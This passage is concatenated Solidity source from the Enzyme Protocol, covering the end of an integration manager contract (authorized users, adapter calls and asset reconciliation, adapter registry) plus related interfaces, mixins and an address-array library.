IVault(comptrollerProxyToVaultProxy[_comptrollerProxy]).getOwner(); } /// @dev Helper to validate calls to update comptrollerProxyToAcctToIsAuthUser function __validateSetAuthUser( address _comptrollerProxy, address _who, bool _nextIsAuthUser ) private view { require( comptrollerProxyToVaultProxy[_comptrollerProxy] != address(0), "__validateSetAuthUser: Fund has not been activated" ); address fundOwner = IVault(comptrollerProxyToVaultProxy[_comptrollerProxy]).getOwner(); require( msg.sender == fundOwner, "__validateSetAuthUser: Only the fund owner can call this function" ); require(_who != fundOwner, "__validateSetAuthUser: Cannot set for the fund owner"); if (_nextIsAuthUser) { require( !comptrollerProxyToAcctToIsAuthUser[_comptrollerProxy][_who], "__validateSetAuthUser: Account is already an authorized user" ); } else { require( comptrollerProxyToAcctToIsAuthUser[_comptrollerProxy][_who], "__validateSetAuthUser: Account is not an authorized user" ); } } /////////////////////////////// // CALL-ON-EXTENSION ACTIONS // /////////////////////////////// /// @notice Receives a dispatched `callOnExtension` from a fund's ComptrollerProxy /// @param _caller The user who called for this action /// @param _actionId An ID representing the desired action /// @param _callArgs The encoded args for the action function receiveCallFromComptroller( address _caller, uint256 _actionId, bytes calldata _callArgs ) external override { // Since we validate and store the ComptrollerProxy-VaultProxy pairing during // activateForFund(), this function does not require further validation of the // sending ComptrollerProxy address vaultProxy = comptrollerProxyToVaultProxy[msg.sender]; require(vaultProxy != address(0), "receiveCallFromComptroller: Fund is not active"); require( isAuthUserForFund(msg.sender, _caller), "receiveCallFromComptroller: Not an authorized user" ); // Dispatch the action if (_actionId == 0) { __callOnIntegration(_caller, vaultProxy, _callArgs); } else if (_actionId == 1) { __addZeroBalanceTrackedAssets(vaultProxy, _callArgs); } else if (_actionId == 2) { __removeZeroBalanceTrackedAssets(vaultProxy, _callArgs); } else { revert("receiveCallFromComptroller: Invalid _actionId"); } } /// @dev Adds assets with a zero balance as tracked assets of the fund function __addZeroBalanceTrackedAssets(address _vaultProxy, bytes memory _callArgs) private { address[] memory assets = abi.decode(_callArgs, (address[])); for (uint256 i; i < assets.length; i++) { require( __isSupportedAsset(assets[i]), "__addZeroBalanceTrackedAssets: Unsupported asset" ); require( ERC20(assets[i]).balanceOf(_vaultProxy) == 0, "__addZeroBalanceTrackedAssets: Balance is not zero" ); __addTrackedAsset(msg.sender, assets[i]); } } /// @dev Removes assets with a zero balance from tracked assets of the fund function __removeZeroBalanceTrackedAssets(address _vaultProxy, bytes memory _callArgs) private { address[] memory assets = abi.decode(_callArgs, (address[])); address denominationAsset = IComptroller(msg.sender).getDenominationAsset(); for (uint256 i; i < assets.length; i++) { require( assets[i] != denominationAsset, "__removeZeroBalanceTrackedAssets: Cannot remove denomination asset" ); require( ERC20(assets[i]).balanceOf(_vaultProxy) == 0, "__removeZeroBalanceTrackedAssets: Balance is not zero" ); __removeTrackedAsset(msg.sender, assets[i]); } } ///////////////////////// // CALL ON INTEGRATION // ///////////////////////// /// @notice Universal method for calling third party contract functions through adapters /// @param _caller The caller of this function via the ComptrollerProxy /// @param _vaultProxy The VaultProxy of the fund /// @param _callArgs The encoded args for this function /// - _adapter Adapter of the integration on which to execute a call /// - _selector Method selector of the adapter method to execute /// - _integrationData Encoded arguments specific to the adapter /// @dev msg.sender is the ComptrollerProxy. /// Refer to specific adapter to see how to encode its arguments. function __callOnIntegration( address _caller, address _vaultProxy, bytes memory _callArgs ) private { ( address adapter, bytes4 selector, bytes memory integrationData ) = __decodeCallOnIntegrationArgs(_callArgs); __preCoIHook(adapter, selector); /// Passing decoded _callArgs leads to stack-too-deep error ( address[] memory incomingAssets, uint256[] memory incomingAssetAmounts, address[] memory outgoingAssets, uint256[] memory outgoingAssetAmounts ) = __callOnIntegrationInner(_vaultProxy, _callArgs); __postCoIHook( adapter, selector, incomingAssets, incomingAssetAmounts, outgoingAssets, outgoingAssetAmounts ); __emitCoIEvent( _vaultProxy, _caller, adapter, selector, integrationData, incomingAssets, incomingAssetAmounts, outgoingAssets, outgoingAssetAmounts ); } /// @dev Helper to execute the bulk of logic of callOnIntegration. /// Avoids the stack-too-deep-error. function __callOnIntegrationInner(address vaultProxy, bytes memory _callArgs) private returns ( address[] memory incomingAssets_, uint256[] memory incomingAssetAmounts_, address[] memory outgoingAssets_, uint256[] memory outgoingAssetAmounts_ ) { ( address[] memory expectedIncomingAssets, uint256[] memory preCallIncomingAssetBalances, uint256[] memory minIncomingAssetAmounts, SpendAssetsHandleType spendAssetsHandleType, address[] memory spendAssets, uint256[] memory maxSpendAssetAmounts, uint256[] memory preCallSpendAssetBalances ) = __preProcessCoI(vaultProxy, _callArgs); __executeCoI( vaultProxy, _callArgs, abi.encode( spendAssetsHandleType, spendAssets, maxSpendAssetAmounts, expectedIncomingAssets ) ); ( incomingAssets_, incomingAssetAmounts_, outgoingAssets_, outgoingAssetAmounts_ ) = __postProcessCoI( vaultProxy, expectedIncomingAssets, preCallIncomingAssetBalances, minIncomingAssetAmounts, spendAssetsHandleType, spendAssets, maxSpendAssetAmounts, preCallSpendAssetBalances ); return (incomingAssets_, incomingAssetAmounts_, outgoingAssets_, outgoingAssetAmounts_); } /// @dev Helper to decode CoI args function __decodeCallOnIntegrationArgs(bytes memory _callArgs) private pure returns ( address adapter_, bytes4 selector_, bytes memory integrationData_ ) { return abi.decode(_callArgs, (address, bytes4, bytes)); } /// @dev Helper to emit the CallOnIntegrationExecuted event. /// Avoids stack-too-deep error. function __emitCoIEvent( address _vaultProxy, address _caller, address _adapter, bytes4 _selector, bytes memory _integrationData, address[] memory _incomingAssets, uint256[] memory _incomingAssetAmounts, address[] memory _outgoingAssets, uint256[] memory _outgoingAssetAmounts ) private { emit CallOnIntegrationExecutedForFund( msg.sender, _vaultProxy, _caller, _adapter, _selector, _integrationData, _incomingAssets, _incomingAssetAmounts, _outgoingAssets, _outgoingAssetAmounts ); } /// @dev Helper to execute a call to an integration /// @dev Avoids stack-too-deep error function __executeCoI( address _vaultProxy, bytes memory _callArgs, bytes memory _encodedAssetTransferArgs ) private { ( address adapter, bytes4 selector, bytes memory integrationData ) = __decodeCallOnIntegrationArgs(_callArgs); (bool success, bytes memory returnData) = adapter.call( abi.encodeWithSelector( selector, _vaultProxy, integrationData, _encodedAssetTransferArgs ) ); require(success, string(returnData)); } /// @dev Helper to get the vault's balance of a particular asset function __getVaultAssetBalance(address _vaultProxy, address _asset) private view returns (uint256) { return ERC20(_asset).balanceOf(_vaultProxy); } /// @dev Helper to check if an asset is supported function __isSupportedAsset(address _asset) private view returns (bool isSupported_) { return IPrimitivePriceFeed(PRIMITIVE_PRICE_FEED).isSupportedAsset(_asset) || IDerivativePriceFeed(DERIVATIVE_PRICE_FEED).isSupportedAsset(_asset); } /// @dev Helper for the actions to take on external contracts prior to executing CoI function __preCoIHook(address _adapter, bytes4 _selector) private { IPolicyManager(POLICY_MANAGER).validatePolicies( msg.sender, IPolicyManager.PolicyHook.PreCallOnIntegration, abi.encode(_adapter, _selector) ); } /// @dev Helper for the internal actions to take prior to executing CoI function __preProcessCoI(address _vaultProxy, bytes memory _callArgs) private returns ( address[] memory expectedIncomingAssets_, uint256[] memory preCallIncomingAssetBalances_, uint256[] memory minIncomingAssetAmounts_, SpendAssetsHandleType spendAssetsHandleType_, address[] memory spendAssets_, uint256[] memory maxSpendAssetAmounts_, uint256[] memory preCallSpendAssetBalances_ ) { ( address adapter, bytes4 selector, bytes memory integrationData ) = __decodeCallOnIntegrationArgs(_callArgs); require(adapterIsRegistered(adapter), "callOnIntegration: Adapter is not registered"); // Note that expected incoming and spend assets are allowed to overlap // (e.g., a fee for the incomingAsset charged in a spend asset) ( spendAssetsHandleType_, spendAssets_, maxSpendAssetAmounts_, expectedIncomingAssets_, minIncomingAssetAmounts_ ) = IIntegrationAdapter(adapter).parseAssetsForMethod(selector, integrationData); require( spendAssets_.length == maxSpendAssetAmounts_.length, "__preProcessCoI: Spend assets arrays unequal" ); require( expectedIncomingAssets_.length == minIncomingAssetAmounts_.length, "__preProcessCoI: Incoming assets arrays unequal" ); require(spendAssets_.isUniqueSet(), "__preProcessCoI: Duplicate spend asset"); require( expectedIncomingAssets_.isUniqueSet(), "__preProcessCoI: Duplicate incoming asset" ); IVault vaultProxyContract = IVault(_vaultProxy); preCallIncomingAssetBalances_ = new uint256[](expectedIncomingAssets_.length); for (uint256 i = 0; i < expectedIncomingAssets_.length; i++) { require( expectedIncomingAssets_[i] != address(0), "__preProcessCoI: Empty incoming asset address" ); require( minIncomingAssetAmounts_[i] > 0, "__preProcessCoI: minIncomingAssetAmount must be >0" ); require( __isSupportedAsset(expectedIncomingAssets_[i]), "__preProcessCoI: Non-receivable incoming asset" ); // Get pre-call balance of each incoming asset. // If the asset is not tracked by the fund, allow the balance to default to 0. if (vaultProxyContract.isTrackedAsset(expectedIncomingAssets_[i])) { preCallIncomingAssetBalances_[i] = ERC20(expectedIncomingAssets_[i]).balanceOf( _vaultProxy ); } } // Get pre-call balances of spend assets and grant approvals to adapter preCallSpendAssetBalances_ = new uint256[](spendAssets_.length); for (uint256 i = 0; i < spendAssets_.length; i++) { require(spendAssets_[i] != address(0), "__preProcessCoI: Empty spend asset"); require(maxSpendAssetAmounts_[i] > 0, "__preProcessCoI: Empty max spend asset amount"); // If spend asset is also an incoming asset, no need to record its balance if (!expectedIncomingAssets_.contains(spendAssets_[i])) { preCallSpendAssetBalances_[i] = ERC20(spendAssets_[i]).balanceOf(_vaultProxy); } // Grant spend assets access to the adapter. // Note that spendAssets_ is already asserted to a unique set. if (spendAssetsHandleType_ == SpendAssetsHandleType.Approve) { // Use exact approve amount rather than increasing allowances, // because all adapters finish their actions atomically. __approveAssetSpender( msg.sender, spendAssets_[i], adapter, maxSpendAssetAmounts_[i] ); } else if (spendAssetsHandleType_ == SpendAssetsHandleType.Transfer) { __withdrawAssetTo(msg.sender, spendAssets_[i], adapter, maxSpendAssetAmounts_[i]); } else if (spendAssetsHandleType_ == SpendAssetsHandleType.Remove) { __removeTrackedAsset(msg.sender, spendAssets_[i]); } } } /// @dev Helper for the actions to take on external contracts after executing CoI function __postCoIHook( address _adapter, bytes4 _selector, address[] memory _incomingAssets, uint256[] memory _incomingAssetAmounts, address[] memory _outgoingAssets, uint256[] memory _outgoingAssetAmounts ) private { IPolicyManager(POLICY_MANAGER).validatePolicies( msg.sender, IPolicyManager.PolicyHook.PostCallOnIntegration, abi.encode( _adapter, _selector, _incomingAssets, _incomingAssetAmounts, _outgoingAssets, _outgoingAssetAmounts ) ); } /// @dev Helper to reconcile and format incoming and outgoing assets after executing CoI function __postProcessCoI( address _vaultProxy, address[] memory _expectedIncomingAssets, uint256[] memory _preCallIncomingAssetBalances, uint256[] memory _minIncomingAssetAmounts, SpendAssetsHandleType _spendAssetsHandleType, address[] memory _spendAssets, uint256[] memory _maxSpendAssetAmounts, uint256[] memory _preCallSpendAssetBalances ) private returns ( address[] memory incomingAssets_, uint256[] memory incomingAssetAmounts_, address[] memory outgoingAssets_, uint256[] memory outgoingAssetAmounts_ ) { address[] memory increasedSpendAssets; uint256[] memory increasedSpendAssetAmounts; ( outgoingAssets_, outgoingAssetAmounts_, increasedSpendAssets, increasedSpendAssetAmounts ) = __reconcileCoISpendAssets( _vaultProxy, _spendAssetsHandleType, _spendAssets, _maxSpendAssetAmounts, _preCallSpendAssetBalances ); (incomingAssets_, incomingAssetAmounts_) = __reconcileCoIIncomingAssets( _vaultProxy, _expectedIncomingAssets, _preCallIncomingAssetBalances, _minIncomingAssetAmounts, increasedSpendAssets, increasedSpendAssetAmounts ); return (incomingAssets_, incomingAssetAmounts_, outgoingAssets_, outgoingAssetAmounts_); } /// @dev Helper to process incoming asset balance changes. /// See __reconcileCoISpendAssets() for explanation on "increasedSpendAssets". function __reconcileCoIIncomingAssets( address _vaultProxy, address[] memory _expectedIncomingAssets, uint256[] memory _preCallIncomingAssetBalances, uint256[] memory _minIncomingAssetAmounts, address[] memory _increasedSpendAssets, uint256[] memory _increasedSpendAssetAmounts ) private returns (address[] memory incomingAssets_, uint256[] memory incomingAssetAmounts_) { // Incoming assets = expected incoming assets + spend assets with increased balances uint256 incomingAssetsCount = _expectedIncomingAssets.length.add( _increasedSpendAssets.length ); // Calculate and validate incoming asset amounts incomingAssets_ = new address[](incomingAssetsCount); incomingAssetAmounts_ = new uint256[](incomingAssetsCount); for (uint256 i = 0; i < _expectedIncomingAssets.length; i++) { uint256 balanceDiff = __getVaultAssetBalance(_vaultProxy, _expectedIncomingAssets[i]) .sub(_preCallIncomingAssetBalances[i]); require( balanceDiff >= _minIncomingAssetAmounts[i], "__reconcileCoIAssets: Received incoming asset less than expected" ); // Even if the asset's previous balance was >0, it might not have been tracked __addTrackedAsset(msg.sender, _expectedIncomingAssets[i]); incomingAssets_[i] = _expectedIncomingAssets[i]; incomingAssetAmounts_[i] = balanceDiff; } // Append increaseSpendAssets to incomingAsset vars if (_increasedSpendAssets.length > 0) { uint256 incomingAssetIndex = _expectedIncomingAssets.length; for (uint256 i = 0; i < _increasedSpendAssets.length; i++) { incomingAssets_[incomingAssetIndex] = _increasedSpendAssets[i]; incomingAssetAmounts_[incomingAssetIndex] = _increasedSpendAssetAmounts[i]; incomingAssetIndex++; } } return (incomingAssets_, incomingAssetAmounts_); } /// @dev Helper to process spend asset balance changes. /// "outgoingAssets" are the spend assets with a decrease in balance. /// "increasedSpendAssets" are the spend assets with an unexpected increase in balance. /// For example, "increasedSpendAssets" can occur if an adapter has a pre-balance of /// the spendAsset, which would be transferred to the fund at the end of the tx. function __reconcileCoISpendAssets( address _vaultProxy, SpendAssetsHandleType _spendAssetsHandleType, address[] memory _spendAssets, uint256[] memory _maxSpendAssetAmounts, uint256[] memory _preCallSpendAssetBalances ) private returns ( address[] memory outgoingAssets_, uint256[] memory outgoingAssetAmounts_, address[] memory increasedSpendAssets_, uint256[] memory increasedSpendAssetAmounts_ ) { // Determine spend asset balance changes uint256[] memory postCallSpendAssetBalances = new uint256[](_spendAssets.length); uint256 outgoingAssetsCount; uint256 increasedSpendAssetsCount; for (uint256 i = 0; i < _spendAssets.length; i++) { // If spend asset's initial balance is 0, then it is an incoming asset if (_preCallSpendAssetBalances[i] == 0) { continue; } // Handle SpendAssetsHandleType.Remove separately if (_spendAssetsHandleType == SpendAssetsHandleType.Remove) { outgoingAssetsCount++; continue; } // Determine if the asset is outgoing or incoming, and store the post-balance for later use postCallSpendAssetBalances[i] = __getVaultAssetBalance(_vaultProxy, _spendAssets[i]); // If the pre- and post- balances are equal, then the asset is neither incoming nor outgoing if (postCallSpendAssetBalances[i] < _preCallSpendAssetBalances[i]) { outgoingAssetsCount++; } else if (postCallSpendAssetBalances[i] > _preCallSpendAssetBalances[i]) { increasedSpendAssetsCount++; } } // Format outgoingAssets and increasedSpendAssets (spend assets with unexpected increase in balance) outgoingAssets_ = new address[](outgoingAssetsCount); outgoingAssetAmounts_ = new uint256[](outgoingAssetsCount); increasedSpendAssets_ = new address[](increasedSpendAssetsCount); increasedSpendAssetAmounts_ = new uint256[](increasedSpendAssetsCount); uint256 outgoingAssetsIndex; uint256 increasedSpendAssetsIndex; for (uint256 i = 0; i < _spendAssets.length; i++) { // If spend asset's initial balance is 0, then it is an incoming asset. if (_preCallSpendAssetBalances[i] == 0) { continue; } // Handle SpendAssetsHandleType.Remove separately. // No need to validate the max spend asset amount. if (_spendAssetsHandleType == SpendAssetsHandleType.Remove) { outgoingAssets_[outgoingAssetsIndex] = _spendAssets[i]; outgoingAssetAmounts_[outgoingAssetsIndex] = _preCallSpendAssetBalances[i]; outgoingAssetsIndex++; continue; } // If the pre- and post- balances are equal, then the asset is neither incoming nor outgoing if (postCallSpendAssetBalances[i] < _preCallSpendAssetBalances[i]) { if (postCallSpendAssetBalances[i] == 0) { __removeTrackedAsset(msg.sender, _spendAssets[i]); outgoingAssetAmounts_[outgoingAssetsIndex] = _preCallSpendAssetBalances[i]; } else { outgoingAssetAmounts_[outgoingAssetsIndex] = _preCallSpendAssetBalances[i].sub( postCallSpendAssetBalances[i] ); } require( outgoingAssetAmounts_[outgoingAssetsIndex] <= _maxSpendAssetAmounts[i], "__reconcileCoISpendAssets: Spent amount greater than expected" ); outgoingAssets_[outgoingAssetsIndex] = _spendAssets[i]; outgoingAssetsIndex++; } else if (postCallSpendAssetBalances[i] > _preCallSpendAssetBalances[i]) { increasedSpendAssetAmounts_[increasedSpendAssetsIndex] = postCallSpendAssetBalances[i] .sub(_preCallSpendAssetBalances[i]); increasedSpendAssets_[increasedSpendAssetsIndex] = _spendAssets[i]; increasedSpendAssetsIndex++; } } return ( outgoingAssets_, outgoingAssetAmounts_, increasedSpendAssets_, increasedSpendAssetAmounts_ ); } /////////////////////////// // INTEGRATIONS REGISTRY // /////////////////////////// /// @notice Remove integration adapters from the list of registered adapters /// @param _adapters Addresses of adapters to be deregistered function deregisterAdapters(address[] calldata _adapters) external onlyFundDeployerOwner { require(_adapters.length > 0, "deregisterAdapters: _adapters cannot be empty"); for (uint256 i; i < _adapters.length; i++) { require( adapterIsRegistered(_adapters[i]), "deregisterAdapters: Adapter is not registered" ); registeredAdapters.remove(_adapters[i]); emit AdapterDeregistered(_adapters[i], IIntegrationAdapter(_adapters[i]).identifier()); } } /// @notice Add integration adapters to the list of registered adapters /// @param _adapters Addresses of adapters to be registered function registerAdapters(address[] calldata _adapters) external onlyFundDeployerOwner { require(_adapters.length > 0, "registerAdapters: _adapters cannot be empty"); for (uint256 i; i < _adapters.length; i++) { require(_adapters[i] != address(0), "registerAdapters: Adapter cannot be empty"); require( !adapterIsRegistered(_adapters[i]), "registerAdapters: Adapter already registered" ); registeredAdapters.add(_adapters[i]); emit AdapterRegistered(_adapters[i], IIntegrationAdapter(_adapters[i]).identifier()); } } /////////////////// // STATE GETTERS // /////////////////// /// @notice Checks if an integration adapter is registered /// @param _adapter The adapter to check /// @return isRegistered_ True if the adapter is registered function adapterIsRegistered(address _adapter) public view returns (bool isRegistered_) { return registeredAdapters.contains(_adapter); } /// @notice Gets the `DERIVATIVE_PRICE_FEED` variable /// @return derivativePriceFeed_ The `DERIVATIVE_PRICE_FEED` variable value function getDerivativePriceFeed() external view returns (address derivativePriceFeed_) { return DERIVATIVE_PRICE_FEED; } /// @notice Gets the `POLICY_MANAGER` variable /// @return policyManager_ The `POLICY_MANAGER` variable value function getPolicyManager() external view returns (address policyManager_) { return POLICY_MANAGER; } /// @notice Gets the `PRIMITIVE_PRICE_FEED` variable /// @return primitivePriceFeed_ The `PRIMITIVE_PRICE_FEED` variable value function getPrimitivePriceFeed() external view returns (address primitivePriceFeed_) { return PRIMITIVE_PRICE_FEED; } /// @notice Gets all registered integration adapters /// @return registeredAdaptersArray_ A list of all registered integration adapters function getRegisteredAdapters() external view returns (address[] memory registeredAdaptersArray_) { registeredAdaptersArray_ = new address[](registeredAdapters.length()); for (uint256 i = 0; i < registeredAdaptersArray_.length; i++) { registeredAdaptersArray_[i] = registeredAdapters.at(i); } return registeredAdaptersArray_; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "../IIntegrationManager.sol"; /// @title Integration Adapter interface /// @author Enzyme Council <[email protected]> /// @notice Interface for all integration adapters interface IIntegrationAdapter { function identifier() external pure returns (string memory identifier_); function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs) external view returns ( IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_, address[] memory spendAssets_, uint256[] memory spendAssetAmounts_, address[] memory incomingAssets_, uint256[] memory minIncomingAssetAmounts_ ); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; pragma experimental ABIEncoderV2; /// @title PolicyManager Interface /// @author Enzyme Council <[email protected]> /// @notice Interface for the PolicyManager interface IPolicyManager { enum PolicyHook { BuySharesSetup, PreBuyShares, PostBuyShares, BuySharesCompleted, PreCallOnIntegration, PostCallOnIntegration } function validatePolicies( address, PolicyHook, bytes calldata ) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "../../core/fund/comptroller/IComptroller.sol"; import "../../core/fund/vault/IVault.sol"; import "../IExtension.sol"; /// @title ExtensionBase Contract /// @author Enzyme Council <[email protected]> /// @notice Base class for an extension abstract contract ExtensionBase is IExtension { mapping(address => address) internal comptrollerProxyToVaultProxy; /// @notice Allows extension to run logic during fund activation /// @dev Unimplemented by default, may be overridden. function activateForFund(bool) external virtual override { return; } /// @notice Allows extension to run logic during fund deactivation (destruct) /// @dev Unimplemented by default, may be overridden. function deactivateForFund() external virtual override { return; } /// @notice Receives calls from ComptrollerLib.callOnExtension() /// and dispatches the appropriate action /// @dev Unimplemented by default, may be overridden. function receiveCallFromComptroller( address, uint256, bytes calldata ) external virtual override { revert("receiveCallFromComptroller: Unimplemented for Extension"); } /// @notice Allows extension to run logic during fund configuration /// @dev Unimplemented by default, may be overridden. function setConfigForFund(bytes calldata) external virtual override { return; } /// @dev Helper to validate a ComptrollerProxy-VaultProxy relation, which we store for both /// gas savings and to guarantee a spoofed ComptrollerProxy does not change getVaultProxy(). /// Will revert without reason if the expected interfaces do not exist. function __setValidatedVaultProxy(address _comptrollerProxy) internal returns (address vaultProxy_) { require( comptrollerProxyToVaultProxy[_comptrollerProxy] == address(0), "__setValidatedVaultProxy: Already set" ); vaultProxy_ = IComptroller(_comptrollerProxy).getVaultProxy(); require(vaultProxy_ != address(0), "__setValidatedVaultProxy: Missing vaultProxy"); require( _comptrollerProxy == IVault(vaultProxy_).getAccessor(), "__setValidatedVaultProxy: Not the VaultProxy accessor" ); comptrollerProxyToVaultProxy[_comptrollerProxy] = vaultProxy_; return vaultProxy_; } /////////////////// // STATE GETTERS // /////////////////// /// @notice Gets the verified VaultProxy for a given ComptrollerProxy /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @return vaultProxy_ The VaultProxy of the fund function getVaultProxyForFund(address _comptrollerProxy) public view returns (address vaultProxy_) { return comptrollerProxyToVaultProxy[_comptrollerProxy]; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "../../core/fund-deployer/IFundDeployer.sol"; /// @title FundDeployerOwnerMixin Contract /// @author Enzyme Council <[email protected]> /// @notice A mixin contract that defers ownership to the owner of FundDeployer abstract contract FundDeployerOwnerMixin { address internal immutable FUND_DEPLOYER; modifier onlyFundDeployerOwner() { require( msg.sender == getOwner(), "onlyFundDeployerOwner: Only the FundDeployer owner can call this function" ); _; } constructor(address _fundDeployer) public { FUND_DEPLOYER = _fundDeployer; } /// @notice Gets the owner of this contract /// @return owner_ The owner /// @dev Ownership is deferred to the owner of the FundDeployer contract function getOwner() public view returns (address owner_) { return IFundDeployer(FUND_DEPLOYER).getOwner(); } /////////////////// // STATE GETTERS // /////////////////// /// @notice Gets the `FUND_DEPLOYER` variable /// @return fundDeployer_ The `FUND_DEPLOYER` variable value function getFundDeployer() external view returns (address fundDeployer_) { return FUND_DEPLOYER; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "../../core/fund/comptroller/IComptroller.sol"; /// @title PermissionedVaultActionMixin Contract /// @author Enzyme Council <[email protected]> /// @notice A mixin contract for extensions that can make permissioned vault calls abstract contract PermissionedVaultActionMixin { /// @notice Adds a tracked asset to the fund /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _asset The asset to add function __addTrackedAsset(address _comptrollerProxy, address _asset) internal { IComptroller(_comptrollerProxy).permissionedVaultAction( IComptroller.VaultAction.AddTrackedAsset, abi.encode(_asset) ); } /// @notice Grants an allowance to a spender to use a fund's asset /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _asset The asset for which to grant an allowance /// @param _target The spender of the allowance /// @param _amount The amount of the allowance function __approveAssetSpender( address _comptrollerProxy, address _asset, address _target, uint256 _amount ) internal { IComptroller(_comptrollerProxy).permissionedVaultAction( IComptroller.VaultAction.ApproveAssetSpender, abi.encode(_asset, _target, _amount) ); } /// @notice Burns fund shares for a particular account /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _target The account for which to burn shares /// @param _amount The amount of shares to burn function __burnShares( address _comptrollerProxy, address _target, uint256 _amount ) internal { IComptroller(_comptrollerProxy).permissionedVaultAction( IComptroller.VaultAction.BurnShares, abi.encode(_target, _amount) ); } /// @notice Mints fund shares to a particular account /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _target The account to which to mint shares /// @param _amount The amount of shares to mint function __mintShares( address _comptrollerProxy, address _target, uint256 _amount ) internal { IComptroller(_comptrollerProxy).permissionedVaultAction( IComptroller.VaultAction.MintShares, abi.encode(_target, _amount) ); } /// @notice Removes a tracked asset from the fund /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _asset The asset to remove function __removeTrackedAsset(address _comptrollerProxy, address _asset) internal { IComptroller(_comptrollerProxy).permissionedVaultAction( IComptroller.VaultAction.RemoveTrackedAsset, abi.encode(_asset) ); } /// @notice Transfers fund shares from one account to another /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _from The account from which to transfer shares /// @param _to The account to which to transfer shares /// @param _amount The amount of shares to transfer function __transferShares( address _comptrollerProxy, address _from, address _to, uint256 _amount ) internal { IComptroller(_comptrollerProxy).permissionedVaultAction( IComptroller.VaultAction.TransferShares, abi.encode(_from, _to, _amount) ); } /// @notice Withdraws an asset from the VaultProxy to a given account /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _asset The asset to withdraw /// @param _target The account to which to withdraw the asset /// @param _amount The amount of asset to withdraw function __withdrawAssetTo( address _comptrollerProxy, address _asset, address _target, uint256 _amount ) internal { IComptroller(_comptrollerProxy).permissionedVaultAction( IComptroller.VaultAction.WithdrawAssetTo, abi.encode(_asset, _target, _amount) ); } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IDerivativePriceFeed Interface /// @author Enzyme Council <[email protected]> /// @notice Simple interface for derivative price source oracle implementations interface IDerivativePriceFeed { function calcUnderlyingValues(address, uint256) external returns (address[] memory, uint256[] memory); function isSupportedAsset(address) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IPrimitivePriceFeed Interface /// @author Enzyme Council <[email protected]> /// @notice Interface for primitive price feeds interface IPrimitivePriceFeed { function calcCanonicalValue( address, uint256, address ) external view returns (uint256, bool); function calcLiveValue( address, uint256, address ) external view returns (uint256, bool); function isSupportedAsset(address) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title AddressArray Library /// @author Enzyme Council <[email protected]> /// @notice A library to extend the address array data type library AddressArrayLib { /// @dev Helper to add an item to an array. Does not assert uniqueness of the new item. function addItem(address[] memory _self, address _itemToAdd) internal pure returns (address[] memory nextArray_) { nextArray_ = new address[](_self.length + 1); for (uint256 i; i < _self.length; i++) { nextArray_[i] = _self[i]; } nextArray_[_self.length] = _itemToAdd; return nextArray_; } /// @dev Helper to add an item to an array, only if it is not already in the array. function addUniqueItem(address[] memory _self, address _itemToAdd) internal pure returns (address[] memory nextArray_) { if (contains(_self, _itemToAdd)) { return _self; } return addItem(_self, _itemToAdd); } /// @dev Helper to verify if an array contains a particular value function contains(address[] memory _self, address _target) internal pure returns (bool doesContain_) { for (uint256 i; i < _self.length; i++) { if (_target == _self[i]) { return true; } } return false; } /// @dev Helper to reassign all items in an array with a specified value function fill(address[] memory _self, address _value) internal pure returns (address[] memory nextArray_) { nextArray_ = new address[](_self.length); for (uint256 i; i < nextArray_.length; i++) { nextArray_[i] = _value; } return nextArray_; } /// @dev Helper to verify if array is a set of unique values. /// Does not assert length > 0. function isUniqueSet(address[] memory _self) internal pure returns (bool isUnique_) { if (_self.length <= 1) { return true; } uint256 arrayLength = _self.length; for (uint256 i; i < arrayLength; i++) { for (uint256 j = i + 1; j < arrayLength; j++) { if (_self[i] == _self[j]) { return false; } } } return true; } /// @dev Helper to remove items from an array. Removes all matching occurrences of each item. /// Does not assert uniqueness of either array. function removeItems(address[] memory _self, address[] memory _itemsToRemove) internal pure returns (address[] memory nextArray_) { if (_itemsToRemove.length == 0) { return _self; } bool[] memory indexesToRemove = new bool[](_self.length); uint256 remainingItemsCount = _self.length; for (uint256 i; i < _self.length; i++) { if (contains(_itemsToRemove, _self[i])) { indexesToRemove[i] = true; remainingItemsCount--; } } if (remainingItemsCount == _self.length) { nextArray_ = _self; } else if (remainingItemsCount > 0) { nextArray_ = new address[](remainingItemsCount); uint256 nextArrayIndex; for (uint256 i; i < _self.length; i++) { if (!indexesToRemove[i]) { nextArray_[nextArrayIndex] = _self[i]; nextArrayIndex++; } } } return nextArray_; } }
